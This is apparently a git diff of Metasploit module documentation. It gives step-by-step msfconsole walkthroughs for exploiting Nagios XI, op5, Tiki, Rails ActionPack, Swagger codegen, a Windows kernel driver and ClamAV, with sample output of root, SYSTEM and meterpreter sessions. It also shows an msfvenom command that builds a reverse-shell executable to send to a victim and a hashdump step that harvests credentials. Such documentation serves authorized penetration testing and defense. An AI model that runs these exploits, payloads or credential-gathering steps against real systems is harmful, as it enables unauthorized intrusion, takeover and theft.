3. Go to google.com, IE should end up loading the exploit server.
|
||||
|
||||
If the spoofed name has already been cached, you can do this to flush.
|
||||
|
||||
```
|
||||
ipconfig /flushdns
|
||||
```
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
|
||||
malicious threats.
|
||||
|
||||
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
|
||||
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
|
||||
able to shut down the service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
To install ClamAV from Ubuntu:
|
||||
|
||||
```
|
||||
$ sudo apt-get install clamav clamav-daemon
|
||||
$ sudo freshclam
|
||||
```
|
||||
|
||||
You might also need to add the following to /etc/clamav/clamd.conf:
|
||||
|
||||
```
|
||||
# TCP port address.
|
||||
# Default: no
|
||||
TCPSocket 3310
|
||||
|
||||
# TCP address.
|
||||
# By default we bind to INADDR_ANY, probably not wise.
|
||||
# Enable the following to provide some degree of protection
|
||||
# from the outside world.
|
||||
# Default: no
|
||||
TCPAddr 0.0.0.0
|
||||
|
||||
# Maximum length the queue of pending connections may grow to.
|
||||
# Default: 15
|
||||
MaxConnectionQueueLength 30
|
||||
|
||||
# Clamd uses FTP-like protocol to receive data from remote clients.
|
||||
# If you are using clamav-milter to balance load between remote clamd daemons
|
||||
# on firewall servers you may need to tune the options below.
|
||||
|
||||
# Close the connection when the data size limit is exceeded.
|
||||
# The value should match your MTA's limit for a maximum attachment size.
|
||||
# Default: 10M
|
||||
StreamMaxLength 55M
|
||||
|
||||
# Limit port range.
|
||||
# Default: 1024
|
||||
#StreamMinPort 30000
|
||||
# Default: 2048
|
||||
#StreamMaxPort 32000
|
||||
|
||||
# Maximum number of threads running at the same time.
|
||||
# Default: 10
|
||||
MaxThreads 50
|
||||
|
||||
# Waiting for data from a client socket will timeout after this time (seconds).
|
||||
# Value of 0 disables the timeout.
|
||||
# Default: 120
|
||||
ReadTimeout 300
|
||||
|
||||
# Waiting for a new job will timeout after this time (seconds).
|
||||
# Default: 30
|
||||
#IdleTimeout 60
|
||||
|
||||
# Maximum depth directories are scanned at.
|
||||
# Default: 15
|
||||
#MaxDirectoryRecursion 20
|
||||
```
|
||||
|
||||
And finally, start the service:
|
||||
|
||||
```
|
||||
$ sudo /etc/init.d/clamav-daemon start
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
clamav_control comes with two actions:
|
||||
|
||||
**VERSION**
|
||||
|
||||
This is the default action, and shows you the ClamAV version. Output example:
|
||||
|
||||
```
|
||||
msf auxiliary(clamav_control) > run
|
||||
|
||||
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
|
||||
```
|
||||
|
||||
**SHUTDOWN**
|
||||
|
||||
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
|
||||
whether is service is down or not.
|
||||
@@ -0,0 +1,73 @@
|
||||
## Intro
|
||||
|
||||
Nagios XI is the enterprise version of Nagios, the monitoring software we love
|
||||
and hate.
|
||||
|
||||
> This module exploits an SQL injection, auth bypass, file upload, command
|
||||
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
|
||||
|
||||
## Setup
|
||||
|
||||
**Download the virtual appliance:**
|
||||
|
||||
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
|
||||
32-bit OVA.
|
||||
|
||||
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
|
||||
|
||||
**Import the OVA:**
|
||||
|
||||
Just import it into VMware or VirtualBox. It should create a VM for you.
|
||||
|
||||
**Configure the software:**
|
||||
|
||||
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
|
||||
on the login screen. Connect to the URL using your web browser and follow the
|
||||
steps on the screen to configure the app.
|
||||
|
||||
Configuration is actually not required to exploit the app, but you should do it
|
||||
anyway.
|
||||
|
||||
## Usage
|
||||
|
||||
Just set ```RHOST``` and fire off the module! It's pretty much painless.
|
||||
```set VERBOSE true``` if you want to see details.
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/nagios_xi_chained_rce
|
||||
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
|
||||
rhost => [redacted]
|
||||
msf exploit(nagios_xi_chained_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(nagios_xi_chained_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on [redacted]:4444
|
||||
[*] Nagios XI version: 5.2.7
|
||||
[*] Getting API token
|
||||
[+] API token: 3o2erpm0
|
||||
[*] Getting admin cookie
|
||||
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
|
||||
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
|
||||
[*] Getting monitored host
|
||||
[+] Monitored host: localhost
|
||||
[*] Downloading component
|
||||
[*] Uploading root shell
|
||||
[*] Popping shell!
|
||||
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
|
||||
[*] Cleaning up...
|
||||
[*] rm -rf ../profile
|
||||
[*] unzip -qd .. ../../../../tmp/component-profile.zip
|
||||
[*] chown -R nagios:nagios ../profile
|
||||
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
|
||||
|
||||
3904334783
|
||||
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
|
||||
cKKdfdZxRpDduZCezKXOficrVyNeVggH
|
||||
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
|
||||
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
|
||||
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||
uname -a
|
||||
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [op5.com](https://www.op5.com/blog/wpfb-file/op5-monitor-7-1-9-20160303-tar-gz/)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
Just a few quick notes on setting up a vulnerable lab with this software.
|
||||
|
||||
1. The vulnerable version only installs on CentOS 6.x (author used 6.0 final)
|
||||
2. Within `php.ini`, `date.timezone = "America/New York"` to `date.timezone = "America/New_York"` if you get php errors
|
||||
3. You may need to register for a free license via an email challenge/verification
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software, RHEL/CENTOS required (tested on CentOS 6)
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/op5_config_exec```
|
||||
4. Do: ```set payload linux/x86/shell/reverse_tcp```
|
||||
5. Do: ```set rhost 192.168.2.31```
|
||||
6. Do: ```set lhost 192.168.2.229```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is 'monitor' by default.
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Documentation was unclear on this. Installing just the app, the
|
||||
username was 'monitor' by default. However it looks like if you
|
||||
install the appliance it may be 'root'
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/op5_config_exec
|
||||
msf exploit(op5_config_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(op5_config_exec) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf exploit(op5_config_exec) > set rhost 192.168.2.31
|
||||
rhost => 192.168.2.31
|
||||
msf exploit(op5_config_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(op5_config_exec) > check
|
||||
|
||||
[+] Version Detected: 7.1.9
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(op5_config_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending stage (36 bytes) to 192.168.2.31
|
||||
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.31:52552) at 2016-06-01 14:38:41 -0400
|
||||
[*] Command Stager progress - 100.00% done (832/832 bytes)
|
||||
whoami
|
||||
monitor
|
||||
id
|
||||
uid=299(monitor) gid=48(apache) groups=48(apache),14(uucp),488(smstools) context=system_u:system_r:initrc_t:s0
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
|
||||
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
|
||||
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
**Of note, there is some discussion if 14.2 is vuln or not.**
|
||||
|
||||
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
|
||||
2. The linked app Exploit-DB has is 14.2.
|
||||
3. Its verified on Exploit-DB.
|
||||
|
||||
vs
|
||||
|
||||
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
|
||||
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
|
||||
2. `apt-get install php-xml`
|
||||
3. Normal php install at that point!
|
||||
4. After install, login as admin:admin
|
||||
5. Go to the Control Panels
|
||||
6. Click Features
|
||||
7. Enable Calendar under Main feature
|
||||
8. Click Apply
|
||||
|
||||
#### Permissions
|
||||
|
||||
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
|
||||
|
||||
1. Log in as admin
|
||||
2. From the top dropdown select permissions
|
||||
3. Check Anonymous near the top
|
||||
4. Click Assign
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/tiki_calendar_exec`
|
||||
4. Do: `set rhost 10.10.10.10`
|
||||
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
|
||||
6. Do: `set payload php/bind_perl`
|
||||
7. Do: `set verbose true`
|
||||
8. Do: `check`
|
||||
|
||||
```
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[+] 10.10.10.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.10.10.10:4444
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) 10.10.10.10.190
|
||||
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at first login. Default for admin is 'admin'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example running against unauthenticated calendar v14.1
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/tiki_calendar_exec
|
||||
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
|
||||
rhost => 192.168.2.190
|
||||
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
|
||||
targeturi => /t14_1/
|
||||
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(tiki_calendar_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(tiki_calendar_exec) > set username ''
|
||||
username =>
|
||||
msf exploit(tiki_calendar_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) to 192.168.2.190
|
||||
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : tikiwiki
|
||||
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
|
||||
Meterpreter : php/php
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
|
||||
|
||||
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
|
||||
|
||||
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
|
||||
|
||||
1. Start msfconsole
|
||||
2. Start a callback handler listening for a the appropriate payload (e.g.)
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
|
||||
set LHOST 192.168.68.138
|
||||
set LPORT 4444
|
||||
|
||||
run
|
||||
```
|
||||
3. Pick a target
|
||||
|
||||
## Targets
|
||||
|
||||
**NodeJS**
|
||||
|
||||
This attack injects a payload into javascript by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 0
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
set INFO_VERSION "1.0.0"
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**PHP**
|
||||
|
||||
This attack injects a payload into PHP multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 1
|
||||
set PAYLOAD php/meterpreter/reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**ruby**
|
||||
|
||||
This attack injects a payload into ruby multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 3
|
||||
set PAYLOAD ruby/shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**Java**
|
||||
|
||||
This attack injects a payload into Java by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 2
|
||||
set PAYLOAD java/jsp_shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
## Quick Test
|
||||
|
||||
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Effective against services with either these dependencies
|
||||
|
||||
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
|
||||
* public API [generator.swagger.io](http://generator.swagger.io/)
|
||||
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
|
||||
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
|
||||
|
||||
**Possible Attack approach.**
|
||||
|
||||
1. Research the target environment and component dependencies.
|
||||
2. Setup appropriate payload callback listener.
|
||||
3. generate the appropriate swagger document with associated MS payload (see above for examples)
|
||||
|
||||
|
||||
**Against a webservice (2nd order attack / blind code-gen)**
|
||||
|
||||
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
**Against a code repository or public hosting of spec**
|
||||
|
||||
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
@@ -42,7 +42,7 @@ Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
|
||||
15. Enter: ```sudo apt-get install php5-xsl php5-curl php5-intl```
|
||||
16. Enter: ```sudo service apache2 restart```
|
||||
17. cd to /var/www/html, enter: ```sudo mkdir tmp```, and cd to tmp
|
||||
18. In tmp, do: ```curl -sS https://getcomposer.org/install | php```
|
||||
18. In tmp, do: ```curl -sS https://getcomposer.org/installer | php```
|
||||
19. Enter: ```sudo mv composer /usr/local/bin/composer```
|
||||
20. In /var/www/html, do: ```composer install```
|
||||
21. You will be asked for a username (public key) and password (private key). You can register
|
||||
@@ -50,7 +50,7 @@ Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
|
||||
22. Back to terminal, enter: ```mysql -h localhost -u root -p[password]```
|
||||
23. In mysql, enter: ```create database magento```, and exit
|
||||
24. Go to http://localhost with a browser, and install Magento through the web interface.
|
||||
25. After installation, back to the terminal, and enter: ```sudo rm -rf var/cache/*```
|
||||
25. After installation, back to Magento directory, and enter: ```sudo rm -rf var/cache/*```
|
||||
26. Enter: ```sudo rm -rf var/generation/*```
|
||||
27. Enter: ```sudo rm -rf var/page_cache/*```
|
||||
28. cd to /var/www/html/bin
|
||||
@@ -60,7 +60,22 @@ Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
|
||||
32. Enter: ```sudo chmod -R 777 /var/www/html```
|
||||
33. Go to http://localhost, you should see Magento up and running.
|
||||
34. From Magento, log in as admin, and create a product. After creating one, make sure this product
|
||||
is also searchable from the front-end.
|
||||
is:
|
||||
* Either includes a shipping address, or does not have a weight.
|
||||
* Searchable from the front-end.
|
||||
|
||||
If at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update:
|
||||
|
||||
1. From the terminal, do: ```mysql -h localhost -u [username] -p[password]```
|
||||
2. In the SQL prompt, do: ```use [magento database name]```
|
||||
3. Do: ```select * from core_config_data;```, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP.
|
||||
4. Do: ```update core_config_data set value='http://[IP]/' where config_id=2;```
|
||||
5. Do: ```update core_config_data set value='https://[IP]/' where config_id=3;```
|
||||
6. Back to the Magento directory, do: ```sudo rm -rf var/cache/*```
|
||||
7. Also do: ```sudo rm -rf var/generation/*```
|
||||
8. Also do: ```sudo rm -rf var/page_cache/*```
|
||||
9. Browse to Magento again with the new IP, it should be up and running again.
|
||||
|
||||
|
||||
After setting up Magento, you can use your exploit module:
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
rails_actionpack_inine_exec is a module that exploits the render method in Action Pack.
|
||||
Applications that pass unverified user input to the ```render``` method in a controller
|
||||
or view may be vulnerable to code injection.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Action Pack versions prior to 3.2.22.2, 4.1.14.2, and 4.2.5.2 use unsafe dynamic rendering.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Assuming you have the right requirements to run a rails server, you can use the following fork
|
||||
to set up the vulnerable server for testing:
|
||||
|
||||
1. Do: ```git clone https://github.com/wchen-r7/dh-CVE_2016_2098.git```
|
||||
2. Do: ```bundle install```
|
||||
3. Do: ```rails -s -b 0.0.0.0```
|
||||
4. Start msfconsole
|
||||
5. Do: ```use exploit/multi/http/rails_actionpack_inline_exec```
|
||||
6. Do: ```set RHOST [rails server IP]```
|
||||
7. Do: ```set RPORT 3000```. 3000 is the default port for the rails server.
|
||||
8. Do: ```set targeturi /exploits```
|
||||
9. Configure the rest of the options (for the modules or the payload)
|
||||
10. Do: ```exploit```, and you should get a session:
|
||||
|
||||
```
|
||||
msf exploit(rails_actionpack_inline_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.146.1:4444
|
||||
[*] Sending inline code to parameter: id
|
||||
[*] Command shell session 1 opened (192.168.146.1:4444 -> 192.168.146.161:56661) at 2016-07-07 15:56:00 -0500
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
To use this module, you must manually discover the correct values for these datastore options:
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to a vulnerable Ruby on Rails application.
|
||||
|
||||
**TARGETPARAM**
|
||||
|
||||
The target parameter to inject with inline code.
|
||||
@@ -0,0 +1,37 @@
|
||||
## Intro
|
||||
|
||||
This module exploits a null pointer dereference vulnerability present in the mrxdav.sys kernel driver on Windows 7 x86. The vulnerability is described by MS16-016 and CVE-2016-0051. The module allows the user to spawn a new payload, such as meterpreter, on the target system with elevated privileges (NT AUTHORITY\SYSTEM)
|
||||
|
||||
## Usage
|
||||
|
||||
You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. From here, running the module will result in the payload being executed with system level privileges.
|
||||
|
||||
An example session follows:
|
||||
|
||||
|
||||
```
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 5...
|
||||
msf exploit(handler) > use exploits/windows/local/ms16_016_webdav
|
||||
msf exploit(ms16_016_webdav) > set session 5
|
||||
session => 5
|
||||
msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(ms16_016_webdav) > set lport 4567
|
||||
lport => 4567
|
||||
msf exploit(ms16_016_webdav) > set lhost 192.168.1.203
|
||||
lhost => 192.168.1.203
|
||||
msf exploit(ms16_016_webdav) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.203:4567
|
||||
[*] Launching notepad to host the exploit...
|
||||
[+] Process 3204 launched.
|
||||
[*] Reflectively injecting the exploit DLL into 3204...
|
||||
[*] Exploit injected ... injecting payload into 3204...
|
||||
[*] Sending stage (957999 bytes) to 192.168.1.221
|
||||
[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
|
||||
[*] Meterpreter session 12 opened (192.168.1.203:4567 -> 192.168.1.221:49266) at 2016-07-05 22:07:34 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
@@ -0,0 +1,318 @@
|
||||
linux/x86/meterpreter/reverse_tcp is the most pouplar payload against the Linux platform. It allows
|
||||
you to remotely take over the compromised system, having control of the file system, collect
|
||||
sensitive information such as credentials using post modules, etc.
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.
|
||||
|
||||
## Deploying linux/x86/meterpreter/reverse_tcp
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp can be used in two different ways.
|
||||
|
||||
**As an exploit payload**
|
||||
|
||||
Many Linux exploits support native payloads, but not always. To check this, you can use the ```info```
|
||||
command on the exploit you want to use:
|
||||
|
||||
```
|
||||
msf exploit(lsa_transnames_heap) > info
|
||||
|
||||
Name: Samba lsa_io_trans_names Heap Overflow
|
||||
Module: exploit/linux/samba/lsa_transnames_heap
|
||||
Platform: Linux
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Good
|
||||
Disclosed: 2007-05-14
|
||||
...
|
||||
```
|
||||
|
||||
If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp
|
||||
and other Linux payloads.
|
||||
|
||||
Sometimes, you need to select a specific target to be able to use a native Linux payload. To check
|
||||
this, do:
|
||||
|
||||
```
|
||||
show targets
|
||||
```
|
||||
|
||||
If there is a Linux target, use that:
|
||||
|
||||
```
|
||||
set TARGET [index]
|
||||
```
|
||||
|
||||
To actually set the payload:
|
||||
|
||||
1. In msfconsole, load the exploit.
|
||||
2. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
|
||||
3. Set the ```LHOST``` option, which is the [IP the payload should connect back to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
4. Run the exploit
|
||||
|
||||
**As a standalone executable**
|
||||
|
||||
To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:
|
||||
|
||||
```
|
||||
./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin
|
||||
```
|
||||
|
||||
Before sending the exectauble to the victim machine, you need to set up the handler on your end:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/multi/handler```
|
||||
3. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
|
||||
4. Do: ```set LHOST [Your IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
And that should start the listener. When the victim runs the malicious exectauble, you should
|
||||
receive a session:
|
||||
|
||||
```
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 172.16.23.182
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2016-07-06 22:40:35 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Here is a list of some of the common commands you might need while using the Linux Meterpreter:
|
||||
|
||||
**pwd**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/home/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cd**
|
||||
|
||||
The cd command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /tmp
|
||||
```
|
||||
|
||||
**cat**
|
||||
|
||||
The cat command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
hello world
|
||||
```
|
||||
|
||||
**upload**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.bin /home/sinn3r/Desktop
|
||||
[*] uploading : /tmp/data.bin -> /home/sinn3r/Desktop
|
||||
[*] uploaded : /tmp/data.bin -> /home/sinn3r/Desktop/data.bin
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine. For example:
|
||||
|
||||
```
|
||||
meterpreter > download /home/sinn3r/Desktop/data.bin /tmp
|
||||
[*] downloading: /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
|
||||
[*] download : /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
|
||||
```
|
||||
|
||||
**ifconfig/ipconfig**
|
||||
|
||||
```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network
|
||||
interfaces on the remote machine.
|
||||
|
||||
**getuid**
|
||||
|
||||
The getuid command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
|
||||
```
|
||||
|
||||
**execute**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 5292 created.
|
||||
```
|
||||
|
||||
**ps**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell**
|
||||
|
||||
The shell command allows you to interact with the remote machine's terminal (or shell). For
|
||||
example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 5302 created.
|
||||
Channel 6 created.
|
||||
$
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The sysinfo command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : sinn3r-virtual-machine
|
||||
OS : Linux sinn3r-virtual-machine 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686)
|
||||
Architecture : i686
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**Other commands**
|
||||
|
||||
For a complete list of Linux Meterpreter commands, do the following at the prompt:
|
||||
|
||||
```
|
||||
meterpreter > help
|
||||
```
|
||||
|
||||
|
||||
## Using a Post module
|
||||
|
||||
One of the best things about Meterprter is you have access to a variety of post modules that
|
||||
"shell" sessions might not have. Post modules provide you with more capabilities to collect data
|
||||
from the remote machine automatically. For example, stealing credentials from the system or
|
||||
third-party applications, or modify settings, etc.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
|
||||
is an example of collecting Linux hashes using post/linux/gather/hashdump:
|
||||
|
||||
```
|
||||
meterpreter > run post/linux/gather/hashdump
|
||||
|
||||
